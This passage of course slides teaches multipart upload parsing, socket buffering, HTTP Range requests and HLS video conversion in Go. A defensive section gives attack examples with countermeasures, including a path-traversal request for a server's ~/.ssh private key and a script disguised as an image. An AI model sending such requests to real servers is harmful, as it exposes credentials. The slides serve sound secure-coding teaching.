  • Each input has its own headers
  • Great for submitting different types of data in the same form
    • Required for file uploads
POST /form-path HTTP/1.1
Content-Length: 252
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfkz9sCA6fR3CAHN4

------WebKitFormBoundaryfkz9sCA6fR3CAHN4
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundaryfkz9sCA6fR3CAHN4
Content-Disposition: form-data; name="comment"

Good morning!
------WebKitFormBoundaryfkz9sCA6fR3CAHN4--

File Uploads

File Uploads

  • We must use multipart/form-data to upload files
    • If not, browser only sends the filename
  • Add an input with type "file"
    • The browser does the rest
    • Users will be able to choose a file to send
<form action="/form-path" method="post" enctype="multipart/form-data">
    <label>Enter your name: <br/>
        <input type="text" name="commenter"><br/>
    </label>

    <label>File: <br/>
        <input type="file" name="upload"><br/>
    </label>

    <input type="submit" value="Submit">
</form>

File Uploads

  • When our server receives the file, it will appear in one of the parts of the multipart POST request
  • The content type will tell us the type of file
  • The body of the part will contain all the bytes of that file
    • Can write these bytes to a new file on our server to save that file
------WebKitFormBoundarygVWEOc5JIyJ1qthO
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarygVWEOc5JIyJ1qthO
Content-Disposition: form-data; name="upload"; filename="discord2.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarygVWEOc5JIyJ1qthO--

File Uploads

  • When receiving the bytes of a binary file, do not apply any encodings
    • When we received bytes representing text, we decoded it by interpreting the bytes as UTF-8 encoded text
    • When receiving files, we are often interested in the raw bytes (Ex. Images, videos)
    • The files will be encoded with algorithms other than UTF-8 (Ex. png, jpeg, mp4)
  • Attempting to treat a binary file as a UTF-8 String will corrupt the data!

Parsing Multipart

Parsing Multipart

  • Your goal is to parse HTTP POST requests in this format
    • Without corrupting the image
  • Let's walk through the steps you'll need to take
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Identify the request using the method and path
  • This is a POST request for /form-path
  • Based on our HTML, we know to treat this as a form submission
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Parse the headers and read the length of the content
  • This will be the number of bytes that need to be read from the body
  • Follows the same protocol as your HTTP responses
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Refer to your content length and read that many bytes from the body of the request
  • Important: Do not attempt to parse the body until you've read this many bytes from the body (More details in the next lecture)
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Read the Content-Type header to get the boundary
  • Boundary is specified in addition to the MIME type
    • Recall that we used the same format to specify charset=utf-8
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • The body will consist any number of parts, each separated by the boundary
  • The browser will guarantee that the boundary is not contained in any of the data being sent
  • This example has 2 parts
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • The parts are separated by the boundary with two leading dash characters --
  • Each boundary must be at the beginning of a line
  • The full boundary is CRLF + -- + <boundary>
    • Except the first one which is already preceded by a CRLF from the blank line separating the headers and body
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • The end of the last boundary is marked by the full boundary plus two trailing - characters
  • The last boundary is CRLF + -- + <boundary> + --
  • Can have a trailing CRLF after the last boundary that should be ignored
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Each part of the request will follow a similar format to HTTP requests:
    • Any number of headers
    • One blank line
    • The content of the part
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • The headers should include a Content-Disposition
    • Provides the name of the part in quotes
    • Name matches the name from your form
    • For files, the original filename is provided in quotes
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Content-Type is optional for parts
  • If excluded, the default MIME type is text/plain
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Content-Length is not included in the parts
  • The purpose of Content-Length is to ensure we've received the full body before parsing
    • Already read the full body using the HTTP Content-Length
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • When reading the bytes of a [non-text] file
    • Never, never, never encode the bytes as a string!
  • But wait.. how do I parse all this stuff without making it a String?..
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Parse in bytes!
  • When parsing bytes that contain non-text data:
    • We'll use byte-parsing, not String-parsing
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • You receive the request as an array of bytes
  • Scan this array for the bytes you're looking for
  • Create sub-arrays to extract data
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Parsing Multipart

  • Example: To extract the headers you would find the first instance of the \r\n\r\n String and read everything before it
  • Encode \r\n\r\n into bytes and search the byte array for this sequence of bytes, then create a new array with everything before that sequence
  • Recall that headers are ASCII only and can safely be treated as text
POST /form-path HTTP/1.1
Content-Length: 9937
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Saving and Hosting Files

File Uploads

To save a file on your server:

  • Save the file to disk
    • Bad practice to store files in a database
    • Generate a naming convention for your saved files
  • Do not use the user supplied filename
    • Attacker could choose a filename of /path/to/secret to read any file from your server
    • Even trustworthy users might create name collisions with each other (e.g. Two users upload pfp.png)
  • Store only the filename in your database
    • When you pull a record from the database, it will tell you which filename to use and that file can be read from disk

Image Uploads

  • To host user supplied images on your site:
  • Pull the filename from the database and use this as the src of the img element in your HTML
    • Using HTML templates (rendered either back end or front end)
  • The browser will read the src attribute and send a request for the file path
  • Host the bytes of the file at that path

Potential Attacks

File Signatures

  • Once you have the bytes, what type of file is it?
  • The file extension and the part's Content-Type are chosen by the user
    • An attacker can upload attack.js renamed to cat.jpg
  • The first bytes of most file types are a fixed signature
    • Part of the content, so it's harder to fake
  • Check the first bytes against the types you allow
bytes.HasPrefix(content, []byte{0xFF, 0xD8, 0xFF})
Type First bytes
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
GIF GIF87a or GIF89a
MP4 ftyp starting at byte 4

Requesting Arbitrary Files

  • You have a path that effectively takes requests /public/[filename] and servers filename
    • An attacker requests /public/~/.ssh/id_ed25519
    • You happily server them your private encryption key
  • Prevent the attack by ensuring that all requests for files are in a public directory after resolving the file path
    • Get the absolute directory of the path and ensure that you are still in the /path/to/project/public directory
    • If not, return a 400-level response (Probably 400 Bad Request)

Further Reading

Handling Large Files

Buffering large uploads, identifying file types, and serving large files with Range requests

Buffering Uploads

TCP Reminder

  • TCP creates a persistent connection
  • Bytes are streamed over this connection
  • Data can be sent and received until one side closes the connection
  • With small GET requests
    • Read from the TCP socket once to read the entire request

Buffering File Uploads

  • To read an HTTP request:
    • First, read data from the TCP socket
buffer := make([]byte, 2048)
bytesRead, err := reader.Read(buffer)
POST /form-path HTTP/1.1
Content-Length: 746
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Buffering File Uploads

  • The size of the buffer is the maximum number of bytes that will be read from the TCP socket
  • bytesRead is how many bytes were actually read
buffer := make([]byte, 2048)
bytesRead, err := reader.Read(buffer)
POST /form-path HTTP/1.1
Content-Length: 746
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="discord.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Buffering File Uploads

  • What if we receive a fairly large POST request?
    • Might not be able to read the entire request in one read from the socket
buffer := make([]byte, 2048)
bytesRead, err := reader.Read(buffer)
POST /form-path HTTP/1.1
Content-Length: 91320
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="flamingo.jpg"
Content-Type: image/jpeg

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Buffering File Uploads

  • What if a very large file is uploaded?
  • We read at most 2048 bytes per read
  • A bigger buffer doesn't help. The rest of the bytes may not have arrived yet
buffer := make([]byte, 2048)
bytesRead, err := reader.Read(buffer)
POST /form-path HTTP/1.1
Content-Length: 1884206
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="hq_image.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Buffering File Uploads

  • We must read from the socket multiple times!
buffer := make([]byte, 2048)
bytesRead, err := reader.Read(buffer)
POST /form-path HTTP/1.1
Content-Length: 1884206
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycriD3u6M0UuPR1ia

------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="commenter"

Jesse
------WebKitFormBoundarycriD3u6M0UuPR1ia
Content-Disposition: form-data; name="upload"; filename="hq_image.png"
Content-Type: image/png

<bytes_of_the_file>
------WebKitFormBoundarycriD3u6M0UuPR1ia--

Buffers

  • TCP socket libraries use buffers
  • No matter your language/library you will have a method/function that reads bytes from the socket
    • Called when there are bytes that arrive over the socket
    • Returns some bytes of the request

A User box with an arrow labeled "User sends data to the server" pointing to a Server box. A single packet travels along the arrow.

Buffer Questions

  • What happens when the user has a lot of data to send?
  • What if the user has a slow connection?
  • Does the socket server wait for all of the data to be received before calling your code?
  • What if the data takes an hour to send?
  • What if the data contains streaming video that never ends?

The same User to Server arrow, now with a long line of packets spread out along it, still in transit.

Buffer Answer

  • The socket notifies your code when there is data to read - even if it's not the entire request
  • The socket will have a buffer size, typically a few kB, and will read at most that many bytes in a single call
    • For GET requests the entire request is smaller than the buffer (Safe assumption in this course)

The same User to Server arrow, now with a long line of packets spread out along it, still in transit.

Buffers

  • Now that we're handling file uploads, we must be aware of these buffers
  • The server will need data that persists across multiple calls that read bytes from a socket
    • Create data structures that store the bytes read from a request
    • Combine the bytes from multiple calls to receive the entire file

The same User to Server arrow, now with a long line of packets spread out along it, still in transit.

HTTP Buffers

  • When receiving a large HTTP request:
    • Read bytes from the socket
    • Parse the headers
    • Find the Content-Length header and store this value
    • Keep reading bytes from the socket until you have read Content-Length bytes after the first \r\n\r\n
    • Process the request
  • Remember that the Content-Length does not include the bytes for the headers
    • The total number of bytes read for one request will be larger than the Content-Length

Common Buffering Bugs

  • Read returns how many bytes it read. Only use that many
bytesRead, err := reader.Read(buffer)
body = append(body, buffer...)              // Wrong: Always appends 2048 bytes
body = append(body, buffer[:bytesRead]...)  // Right: Only the bytes that were read
  • Read reuses the same buffer every time
    • Copy the bytes out before the next Read overwrites them (append copies)
    • Careful with slices of buffer (eg. the body from your first parse)
  • If Read returns an error, the client disconnected mid-upload
    • Stop reading and close the connection. Don't wait forever for bytes that will never arrive
  • Never convert the body to a string while buffering. Binary data will be corrupted

Assumptions

  • Assumptions you may make on the HW:
  • The first read will contain all the headers of the request
    • Use a buffer of at least 2048 bytes
    • You can safely parse the first bytes as the headers of the request (up to the first \r\n\r\n)
    • This allows you to read the Content-Length before you start buffering
  • We will test with files much larger than your buffer size
    • Your buffering must work for any size (eg. A 1 GB video)
    • Do not read the entire body with one huge read: make([]byte, 1000000000)
    • Do not use functions that buffer for you (eg. io.ReadAll or io.ReadFull)

Serving Large Files

The Problem

  • Your server hosts a 1 GB mp4
  • A user opens the video and immediately skips to the middle
    • They should not have to download the first 500 MB
  • A user watches 10 seconds and leaves
    • Your server should not send the other 990 MB
  • Reading the whole file into memory for every request is also a problem
    • 20 viewers can be 20 GB of RAM

Range Requests

  • HTTP lets the client ask for part of a file
  • The client adds a Range header with the bytes it wants
  • The server responds with 206 Partial Content and only those bytes
  • Browsers do this automatically for <video> elements
    • Only if your server says it supports ranges
    • The browser requests the bytes it needs to start playing, then whichever part of the video the user skips to

Accept-Ranges

  • Tell the browser that your server supports range requests
  • Include Accept-Ranges: bytes in every response for an mp4
    • Including responses with the entire file
  • Without this header, the browser may download the entire file and might not let the user skip ahead
HTTP/1.1 200 OK
Content-Type: video/mp4
Content-Length: 10000
Accept-Ranges: bytes
X-Content-Type-Options: nosniff

<all 10000 bytes of the file>

The Range Header

GET /public/videos/abc123.mp4 HTTP/1.1
Range: bytes=0-99
  • Positions are byte offsets in the file, starting at 0
  • Three forms:
Range Meaning
bytes={first}-{last} Bytes first through last, inclusive
bytes={first}- Bytes first through the end of the file
bytes=-{n} The last n bytes of the file
  • A client can ask for several ranges at once (bytes=0-50,100-150)
    • Not required for HW. Browsers don't do this for video

206 Partial Content

HTTP/1.1 206 Partial Content
Content-Type: video/mp4
Content-Length: 100
Content-Range: bytes 0-99/10000
Accept-Ranges: bytes
X-Content-Type-Options: nosniff

<bytes 0 through 99 of the file>
  • Content-Range: bytes {first}-{last}/{total}
    • first and last are the bytes you actually sent
    • total is the size of the entire file
  • Content-Length is the number of bytes in this response, not the size of the file
    • last - first + 1

Off By One

  • Ranges are inclusive on both ends
    • bytes=0-99 is 100 bytes, not 99
    • The last byte of a 10000 byte file is at position 9999
  • Go slices are exclusive on the end
data[first : last+1]     // Bytes first through last, inclusive
length := last - first + 1
  • Off-by-one errors are the most common bug in range requests
    • Your Content-Length won't match the bytes you send
    • The video may play for a while, then stop or corrupt

416 Range Not Satisfiable

  • If first is past the end of the file, there are no bytes to send
  • Respond with 416 Range Not Satisfiable
  • Content-Range uses * for the range and still includes the total size
HTTP/1.1 416 Range Not Satisfiable
Content-Range: bytes */10000
Content-Length: 0

Limiting Response Size

  • When a video first loads, browsers often request bytes=0-
    • Technically the entire file
  • You may send fewer bytes than requested for an open-ended range
    • eg. At most 2 MB per response
    • Content-Range must describe the bytes you actually sent
  • The browser will request the rest when it needs them
GET /public/videos/abc123.mp4 HTTP/1.1
Range: bytes=0-
HTTP/1.1 206 Partial Content
Content-Range: bytes 0-2097151/1073741824
Content-Length: 2097152

What the Browser Does

  • Requests bytes=0- when the video loads
  • Reads enough to start playing, then may close the connection in the middle of your response
  • Requests a new range when the user skips ahead
  • May request the end of the file
    • Some mp4s store their index at the end of the file
  • Browser behavior varies between browsers and videos
    • Handle every form, even if your browser never sends it

Closed Connections

  • The browser can close the connection while you are still sending
  • Writing to a closed connection returns an error
    • eg. "broken pipe" or "connection reset by peer"
  • Your server must not crash
    • Check the error from every write
    • Stop sending, close the connection, and return from the handler

Testing Range Requests

  • Browser behavior is unpredictable. Use curl to send exactly the Range you want to test
  • -D - prints the response headers, -o saves the body
curl -s -D - -o part.bin -H "Range: bytes=0-99" http://localhost:8080/public/videos/test.mp4
HTTP/1.1 206 Partial Content
Content-Range: bytes 0-99/10000
Content-Length: 100
  • Check that part.bin is exactly 100 bytes
  • Test every form, a range past the end, and a request with no Range header
  • The Network tab in your browser's dev tools shows the Range and Content-Range of every video request

Further Reading

Video - ABR and Background Jobs

Adaptive bit-rate streaming with HLS, running slow jobs in the background, and playing video on the front end

Video Uploads

Uploading Video

  • We now support file uploads
    • We allow users to upload images
  • How do we support video uploads?
    • The same exact way as images!
    • Files are just bytes
  • HW3 upload form: A multipart request with parts named "title", "description", and "video"
    • Parse the parts, save the video to disk, store its path in your database
    • Host it with Content-Type: video/mp4 and support Range requests

The Problem

  • You host a video on your web app
  • You want high quality so you host a large 1080p mp4
    • The entire file is 100's of MB
  • Range requests let users start watching without downloading the entire file
  • But every user gets the same quality
    • Someone visits your site using eduroam on a bad day..
    • The video buffers, stutters, or doesn't play at all
  • We need a solution that:
    • Allows users with slow connections to enjoy your content
    • Delivers high quality to users with high-speed Internet

Adaptive Bit-Rate Streaming

Segments

  • Split the video into many short files called segments
    • Typically ~2-10 seconds of playback each
  • The browser downloads one segment at a time
    • Only a few seconds need to be downloaded before playback starts
    • If the user skips around in the video, only request the segment they skipped to
    • If the user leaves the page without finishing the video, the rest is never downloaded
  • Each segment is a small, regular file
    • No Range requests needed

Adaptive Bit-Rate

  • Instead of hosting a single video at a single resolution
    • Host multiple versions of the same video at different resolutions
    • Each resolution requires a different bit-rate to stream
  • Create segments for every version
  • With the video split into ~2-10 second segments
    • The browser can switch to a different version at any segment
    • It chooses the highest bit-rate that fits its current bandwidth

Adaptive Bit-Rate

  • The browser adapts the requested bit-rate based on current conditions
  • Limited interruption for the user, though quality can change over time
Segment 1 2 3 4 5 6 7
Bandwidth Fast Fast Drops Slow Slow Recovers Fast
Quality 1080p 1080p 480p potato potato 480p 1080p

HLS vs MPEG-DASH

  • Two major protocols for segmented, adaptive bit-rate video
    • Both use an index file listing the segments. The browser requests segments as it needs them
  • HTTP Live Streaming (HLS) - Developed by Apple
    • Index files are .m3u8 playlists. Segments are commonly .ts files
    • Wide-spread support. Spec freely available in RFC8216
  • Dynamic Adaptive Streaming over HTTP (MPEG-DASH) - Developed by MPEG
    • Index file is an XML .mpd file
    • Not supported on Apple devices
    • Spec published as ISO/IEC 23009-1 - Available for $245 (!)
  • We'll use HLS

HLS Files

  • A master playlist lists every version (rendition) of the video
  • Each rendition has its own media playlist listing its segments
  • Each segment is a few seconds of video and audio
  • Your server hosts all of these files
  • The browser only needs the URL of the master playlist
public/videos/abc123/
├── master.m3u8
├── 0/
│   ├── index.m3u8
│   ├── index0.ts
│   ├── index1.ts
│   └── index2.ts
└── 1/
    ├── index.m3u8
    ├── index0.ts
    ├── index1.ts
    └── index2.ts

Master Playlist

  • master.m3u8 lists each rendition
    • Its bandwidth, resolution, and codecs
    • The path to its media playlist, relative to this file
  • The browser chooses a rendition based on its bandwidth
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:BANDWIDTH=2825900,RESOLUTION=1280x720,CODECS="avc1.f4001f,mp4a.40.2"
0/index.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=955900,RESOLUTION=640x360,CODECS="avc1.f4001e,mp4a.40.2"
1/index.m3u8

Media Playlist

  • 1/index.m3u8 lists the segments of the 360p rendition
    • #EXTINF is the duration of the next segment in seconds
    • #EXT-X-ENDLIST means there are no more segments
  • Segment paths are relative to the playlist
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:8
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-PLAYLIST-TYPE:VOD
#EXTINF:8.333333,
index0.ts
#EXTINF:8.333333,
index1.ts
#EXTINF:3.333333,
index2.ts
#EXT-X-ENDLIST

Watching an HLS Video

  • The browser requests each file as it needs it
GET /public/videos/abc123/master.m3u8          Pick a rendition
GET /public/videos/abc123/1/index.m3u8         Start with 360p
GET /public/videos/abc123/1/index0.ts
GET /public/videos/abc123/1/index1.ts          Bandwidth looks good
GET /public/videos/abc123/0/index.m3u8         Switch to 720p
GET /public/videos/abc123/0/index2.ts
  • These are all normal GET requests for files
    • Your server doesn't need to know anything about HLS to host them
    • Just the right MIME types

Converting Video

Media Processing

  • You do not always want to store user uploaded media as-is
    • Users can upload anything. Never trust your users!
    • Even your most trustworthy users will upload large media files
  • Process the media when it's uploaded
    • Convert/Compress the video
    • Store and serve the converted files
    • All media stored in formats you choose
  • For ABR: Convert each upload into HLS at several bit-rates

ffmpeg

  • ffmpeg is the answer for video manipulation
  • A command line program
    • Your Go code runs it with a system call
    • Same as typing the command into the command line
exec.Command("ffmpeg", "-i", "input.avi", "-f", "mp4", "output.mp4").Run()
  • ffmpeg must be installed in your container
    • Add this near the top of your Dockerfile so it's cached and you only wait for the install once
RUN apt-get update && apt-get install -y ffmpeg

The Provided Conversion

  • You are not expected to research ffmpeg for the HW
  • This function converts an mp4 into HLS with 2 renditions: 720p and 360p
  • Let's see what each argument does
func MP4ToHLS(inputPath string, outputDir string) error {
    return exec.Command("ffmpeg", "-i", inputPath,
        "-map", "0:v:0", "-map", "0:a:0", "-map", "0:v:0", "-map", "0:a:0",
        "-filter:v:0", "scale=-2:720", "-b:v:0", "2500k",
        "-filter:v:1", "scale=-2:360", "-b:v:1", "800k",
        "-f", "hls", "-hls_playlist_type", "vod",
        "-master_pl_name", "master.m3u8",
        "-var_stream_map", "v:0,a:0 v:1,a:1",
        outputDir+"/%v/index.m3u8",
    ).Run()
}

The Provided Conversion

  • -i is the input file
  • -map selects streams from the input for the output
    • 0:v:0 is the first video stream of the first (only) input. 0:a:0 is its first audio stream
    • Mapped twice: Video and audio for each rendition
  • If the input has no audio, 0:a:0 matches nothing and ffmpeg fails
func MP4ToHLS(inputPath string, outputDir string) error {
    return exec.Command("ffmpeg", "-i", inputPath,
        "-map", "0:v:0", "-map", "0:a:0", "-map", "0:v:0", "-map", "0:a:0",
        "-filter:v:0", "scale=-2:720", "-b:v:0", "2500k",
        "-filter:v:1", "scale=-2:360", "-b:v:1", "800k",
        "-f", "hls", "-hls_playlist_type", "vod",
        "-master_pl_name", "master.m3u8",
        "-var_stream_map", "v:0,a:0 v:1,a:1",
        outputDir+"/%v/index.m3u8",
    ).Run()
}

The Provided Conversion

  • Output video stream 0: Scaled to 720 pixels tall at 2500 kb/s
  • Output video stream 1: Scaled to 360 pixels tall at 800 kb/s
  • -2 for the width: Compute the width that preserves the aspect ratio
    • Rounded to an even number (Required by the encoder)
func MP4ToHLS(inputPath string, outputDir string) error {
    return exec.Command("ffmpeg", "-i", inputPath,
        "-map", "0:v:0", "-map", "0:a:0", "-map", "0:v:0", "-map", "0:a:0",
        "-filter:v:0", "scale=-2:720", "-b:v:0", "2500k",
        "-filter:v:1", "scale=-2:360", "-b:v:1", "800k",
        "-f", "hls", "-hls_playlist_type", "vod",
        "-master_pl_name", "master.m3u8",
        "-var_stream_map", "v:0,a:0 v:1,a:1",
        outputDir+"/%v/index.m3u8",
    ).Run()
}

The Provided Conversion

  • -f hls: Output HLS
  • -hls_playlist_type vod: Video on Demand
    • Keep every segment in the playlist and end it with #EXT-X-ENDLIST
    • (As opposed to a live stream)
  • -master_pl_name: Also write a master playlist named master.m3u8
func MP4ToHLS(inputPath string, outputDir string) error {
    return exec.Command("ffmpeg", "-i", inputPath,
        "-map", "0:v:0", "-map", "0:a:0", "-map", "0:v:0", "-map", "0:a:0",
        "-filter:v:0", "scale=-2:720", "-b:v:0", "2500k",
        "-filter:v:1", "scale=-2:360", "-b:v:1", "800k",
        "-f", "hls", "-hls_playlist_type", "vod",
        "-master_pl_name", "master.m3u8",
        "-var_stream_map", "v:0,a:0 v:1,a:1",
        outputDir+"/%v/index.m3u8",
    ).Run()
}

The Provided Conversion

  • -var_stream_map: Group the streams into renditions
    • Rendition 0: video 0 with audio 0. Rendition 1: video 1 with audio 1
  • %v in the output path is replaced by the rendition number
    • outputDir/0/index.m3u8 and outputDir/1/index.m3u8
  • Run waits until ffmpeg finishes and returns an error if it failed
func MP4ToHLS(inputPath string, outputDir string) error {
    return exec.Command("ffmpeg", "-i", inputPath,
        "-map", "0:v:0", "-map", "0:a:0", "-map", "0:v:0", "-map", "0:a:0",
        "-filter:v:0", "scale=-2:720", "-b:v:0", "2500k",
        "-filter:v:1", "scale=-2:360", "-b:v:1", "800k",
